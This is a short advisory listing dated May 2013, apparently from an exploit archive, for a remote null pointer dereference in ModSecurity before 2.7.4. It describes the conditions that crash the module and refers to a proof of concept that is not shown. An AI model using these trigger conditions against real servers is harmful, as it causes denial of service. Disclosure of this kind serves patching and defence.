ModSecurity Remote Null Pointer Dereference

ModSecurity Remote Null Pointer Dereference
Posted May 29, 2013
Authored by Younes JAAIDI

When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.
